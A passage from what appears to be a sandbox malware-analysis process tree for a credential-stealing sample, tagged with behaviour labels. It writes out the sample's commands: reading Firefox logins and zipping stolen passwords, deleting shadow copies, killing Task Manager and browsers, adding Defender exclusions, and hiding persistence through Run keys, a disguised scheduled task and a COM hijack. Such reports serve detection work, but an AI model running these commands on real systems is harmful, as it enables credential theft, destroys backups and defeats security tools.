    - Suspicious use of AdjustPrivilegeToken
    PID:5944
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic shadowcopy call create Volume=C:\"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2156
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy call create Volume=C:\
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "vssadmin list shadows"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5060
- - C:\Windows\system32\vssadmin.exe
    vssadmin list shadows
    3⤵
    - Interacts with shadow copies
    PID:3548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe /T 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3316
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe /T
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3692
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe /T 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6116
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM msedge.exe /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1292
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5316
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2528
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1948
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5068
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe /T 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5152
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4240
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe /T 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5664
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM msedge.exe /T
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5256
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c ""C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /nologo /optimize+ /platform:x64 /target:exe /debug- /r:System.Windows.Forms.dll /r:System.Drawing.dll /r:System.Xml.dll /r:System.Core.dll /r:System.Data.dll /win32icon:"C:\Users\Admin\AppData\Local\Temp\ck_1782608027831\83avdrb99cf.ico" /win32manifest:"C:\Users\Admin\AppData\Local\Temp\ck_1782608027831\83avdrb99cf.manifest" /out:"C:\Users\Admin\AppData\Local\Temp\ck_1782608027831\chrome_pwa_launcher.exe" "C:\Users\Admin\AppData\Local\Temp\ck_1782608027831\83avdrb99cf.cs""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2056
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /nologo /optimize+ /platform:x64 /target:exe /debug- /r:System.Windows.Forms.dll /r:System.Drawing.dll /r:System.Xml.dll /r:System.Core.dll /r:System.Data.dll /win32icon:"C:\Users\Admin\AppData\Local\Temp\ck_1782608027831\83avdrb99cf.ico" /win32manifest:"C:\Users\Admin\AppData\Local\Temp\ck_1782608027831\83avdrb99cf.manifest" /out:"C:\Users\Admin\AppData\Local\Temp\ck_1782608027831\chrome_pwa_launcher.exe" "C:\Users\Admin\AppData\Local\Temp\ck_1782608027831\83avdrb99cf.cs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3328
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:AMD64 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3F9A.tmp" "c:\Users\Admin\AppData\Local\Temp\ck_1782608027831\CSC493D9AEFAAB54092951BC5B8AC585E2.TMP"
      4⤵
      PID:404
- C:\Program Files\Google\Chrome\Application\chrome_pwa_launcher.exe
  "C:\Program Files\Google\Chrome\Application\chrome_pwa_launcher.exe" AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAjaUXRoIvPEedx1SEOvTZUBAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAN/fk596ltY4714nUJfqAYDuJ/83DDNRLvV0Ftv0TuIyAAAAAA6AAAAAAgAAIAAAACsCQ9kILKnRTqmyX41QXZh3vehYhfiKZqLPOwcXyZtskAEAAHxItIlUjmJLmul+wyHPpAmJX6cS21pf0JO4g92L/4bwYUj6OuJmIhHtNNlT/5uIcpBFJwnZ2Hiom3ONmSeYgHHnfSQn1ydDr53HPxS8Z1TO51MaD/Qk1rn9BrCPK+H6weAPPXby9+y9YodjHSIFxZ80t7b3llWuBfO9a77WFS/77Isg7uUnQ0tf4t47kFvIrA1RNHZ8t/puXx2ZwR95/0QjrCTTPW7zxp1kxkZHT3c0TccqaCjiNSIczRwDCeW3UnyfHINcmbgQKxS1Gr7Hf5cBv3/bO1EnZVOiNrkAuKY9GmIXN9K2n4q+mL3Yw/bzLcBP701pBCCASSB/SZee1QpigRu1J5+CSbre4wGyWFZ9ucikNrC9j5mEPqoxuKlajrrNwiN8OE2PEnDzOn1cg881xgJ+cEqsW1WVgfKfOdKbwLGGXYbeT2hCdrNrF2s609N+62JaXPKVcNASSitrTxxYaLiI3RqjGF8sxTigQNx3Pv7Q/qKIkfKFEQycMzjqTZSD1VYYV3kxeKwlGUhCJAZAAAAAi/f7TZHp+9xdABUrE7+S7nLPY7M97Mx6y2UmzPZC38tmDgabN/cgjYfC41gbWWVYtHhkhlKhu+D2t7+mwGebjQ==
  2⤵
  - Executes dropped EXE
  PID:4016
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /Create /TN "Service_09k9p6et" /TR "powershell -NoProfile -ExecutionPolicy Bypass -File \"C:\Users\Admin\AppData\Local\Temp\ck_1782608027831\d09k9p6et.ps1\"" /SC ONCE /ST 00:00 /RU SYSTEM /F"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1284
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN "Service_09k9p6et" /TR "powershell -NoProfile -ExecutionPolicy Bypass -File \"C:\Users\Admin\AppData\Local\Temp\ck_1782608027831\d09k9p6et.ps1\"" /SC ONCE /ST 00:00 /RU SYSTEM /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2188
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /Run /TN "Service_09k9p6et""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2656
- - C:\Windows\system32\schtasks.exe
    schtasks /Run /TN "Service_09k9p6et"
    3⤵
    PID:3336
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "ping -n 2 127.0.0.1 >nul"
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3956
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1864
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "ping -n 2 127.0.0.1 >nul"
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2336
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:248
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /Delete /TN "Service_09k9p6et" /F"
  2⤵
  - Indicator Removal: Clear Persistence
  PID:4516
- - C:\Windows\system32\schtasks.exe
    schtasks /Delete /TN "Service_09k9p6et" /F
    3⤵
    PID:2036
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:4592
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:3752
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3800
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:1576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "type "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\94vfbj10.default-release\logins.json""
  2⤵
  PID:5476
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\ck_1782608027831\BrowserData', 'C:\Users\Admin\AppData\Local\Temp\ck_1782608027831\autofill', 'C:\Users\Admin\AppData\Local\Temp\ck_1782608027831\passwords' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\33833630.zip' -Force""
  2⤵
  PID:2044
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\ck_1782608027831\BrowserData', 'C:\Users\Admin\AppData\Local\Temp\ck_1782608027831\autofill', 'C:\Users\Admin\AppData\Local\Temp\ck_1782608027831\passwords' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\33833630.zip' -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "vssadmin delete shadows /Shadow=%{00000000-0000-0000-0000-000000000000}% /Quiet 2>nul"
  2⤵
  PID:2448
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /Shadow=%{00000000-0000-0000-0000-000000000000}% /Quiet
    3⤵
    - Interacts with shadow copies
    PID:3252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic shadowcopy where "ID like '%'" delete"
  2⤵
  PID:3792
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy where "ID like '%'" delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:236
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"
  2⤵
  PID:2976
- - C:\Windows\system32\taskkill.exe
    taskkill /IM Steam.exe /F
    3⤵
    - Kills process with taskkill
    PID:3188
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM RiotClientServices.exe /F"
  2⤵
  PID:1916
- - C:\Windows\system32\taskkill.exe
    taskkill /IM RiotClientServices.exe /F
    3⤵
    PID:3032
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM "javaw.exe" /F"
  2⤵
  PID:3272
- - C:\Windows\system32\taskkill.exe
    taskkill /IM "javaw.exe" /F
    3⤵
    - Kills process with taskkill
    PID:5392
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM "Minecraft.exe" /F"
  2⤵
  PID:1596
- - C:\Windows\system32\taskkill.exe
    taskkill /IM "Minecraft.exe" /F
    3⤵
    PID:5784
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM "lunar client.exe" /F"
  2⤵
  PID:1536
- - C:\Windows\system32\taskkill.exe
    taskkill /IM "lunar client.exe" /F
    3⤵
    PID:2876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM "lunarclient.exe" /F"
  2⤵
  PID:2888
- - C:\Windows\system32\taskkill.exe
    taskkill /IM "lunarclient.exe" /F
    3⤵
    PID:3544
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM "TLauncher.exe" /F"
  2⤵
  PID:4712
- - C:\Windows\system32\taskkill.exe
    taskkill /IM "TLauncher.exe" /F
    3⤵
    PID:2400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM "tlauncher.exe" /F"
  2⤵
  PID:2072
- - C:\Windows\system32\taskkill.exe
    taskkill /IM "tlauncher.exe" /F
    3⤵
    PID:3904
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM "Badlion Client.exe" /F"
  2⤵
  PID:3108
- - C:\Windows\system32\taskkill.exe
    taskkill /IM "Badlion Client.exe" /F
    3⤵
    PID:5828
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM "badlion.exe" /F"
  2⤵
  PID:2088
- - C:\Windows\system32\taskkill.exe
    taskkill /IM "badlion.exe" /F
    3⤵
    - Kills process with taskkill
    PID:3596
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:4040
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:4504
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3820
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:3384
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3692
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:4416
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5352
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5972
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:1252
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:4036
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:4860
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:316
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5712
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:3132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +H +S "C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\SystemCacheService.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:1456
- - C:\Windows\system32\attrib.exe
    attrib +H +S "C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\SystemCacheService.exe"
    3⤵
    - Views/modifies file attributes
    PID:5728
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  PID:1836
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:3676
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1156
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:4840
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:2020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3324
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:1792
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3336
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:2604
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Programs\Badinoris\Badinoris.exe'" 2>nul"
  2⤵
  PID:3544
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Programs\Badinoris\Badinoris.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Programs\Badinoris'" 2>nul"
  2⤵
  PID:1432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Programs\Badinoris'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'" 2>nul"
  2⤵
  PID:1492
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'" 2>nul"
  2⤵
  PID:4068
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'" 2>nul"
  2⤵
  PID:328
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionProcess 'Badinoris.exe'" 2>nul"
  2⤵
  PID:5024
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionProcess 'Badinoris.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2160
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /Delete /TN "Adobe Acrobat Update Task" /F"
  2⤵
  - Indicator Removal: Clear Persistence
  PID:2524
- - C:\Windows\system32\schtasks.exe
    schtasks /Delete /TN "Adobe Acrobat Update Task" /F
    3⤵
    PID:5328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /Create /TN "Adobe Acrobat Update Task" /XML "C:\Users\Admin\AppData\Local\Temp\~DFmqx2t6qu.tmp" /F"
  2⤵
  PID:1984
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN "Adobe Acrobat Update Task" /XML "C:\Users\Admin\AppData\Local\Temp\~DFmqx2t6qu.tmp" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2612
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MicrosoftEdgeAutoLaunch" /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Programs\Badinoris\Badinoris.exe"" /f"
  2⤵
  PID:2120
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MicrosoftEdgeAutoLaunch" /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Programs\Badinoris\Badinoris.exe"" /f
    3⤵
    - Adds Run key to start application
    PID:4084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Local\Temp\~mqx2t706.vbs""
  2⤵
  PID:2136
- - C:\Windows\system32\cscript.exe
    cscript //nologo "C:\Users\Admin\AppData\Local\Temp\~mqx2t706.vbs"
    3⤵
    - Drops startup file
    PID:3456
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +H "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Spotify.lnk""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:2480
- - C:\Windows\system32\attrib.exe
    attrib +H "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Spotify.lnk"
    3⤵
    - Drops startup file
    - Views/modifies file attributes
    PID:4036
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Local\Temp\~mqx2t79g.vbs""
  2⤵
  PID:384
- - C:\Windows\system32\cscript.exe
    cscript //nologo "C:\Users\Admin\AppData\Local\Temp\~mqx2t79g.vbs"
    3⤵
    PID:4148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Classes\CLSID\{cb256b-cb25-cb25-cb25-cb256bcb25}\InprocServer32" /ve /t REG_SZ /d "C:\Users\Admin\AppData\Local\Programs\Badinoris\Badinoris.exe" /f"
  2⤵
  PID:316
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Classes\CLSID\{cb256b-cb25-cb25-cb25-cb256bcb25}\InprocServer32" /ve /t REG_SZ /d "C:\Users\Admin\AppData\Local\Programs\Badinoris\Badinoris.exe" /f
    3⤵
    - Modifies registry class
    PID:6136
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Classes\CLSID\{cb256b-cb25-cb25-cb25-cb256bcb25}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Both" /f"
  2⤵
  PID:4988
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Classes\CLSID\{cb256b-cb25-cb25-cb25-cb256bcb25}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Both" /f
    3⤵
    - Modifies registry class
    PID:2104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2700
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:2736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:300
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:4552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:5292
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:5776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2600
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:4212
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3596
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:992
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:1084
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2084
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:3996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:1204
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6136
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:1988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:4868
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:2564
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:4312
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:3388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2436
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:1740
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3852
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2160
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:4668
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2296
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:3768
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:6068
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:828
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3456
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:2868
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:4416
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    - Kills process with taskkill
    PID:3252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3932
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:5476
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:2528
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM taskmgr.exe
    3⤵
    PID:3656
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM taskmgr.exe"
  2⤵
  PID:3132
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2104
- - C:\Windows\system32\taskkill.exe
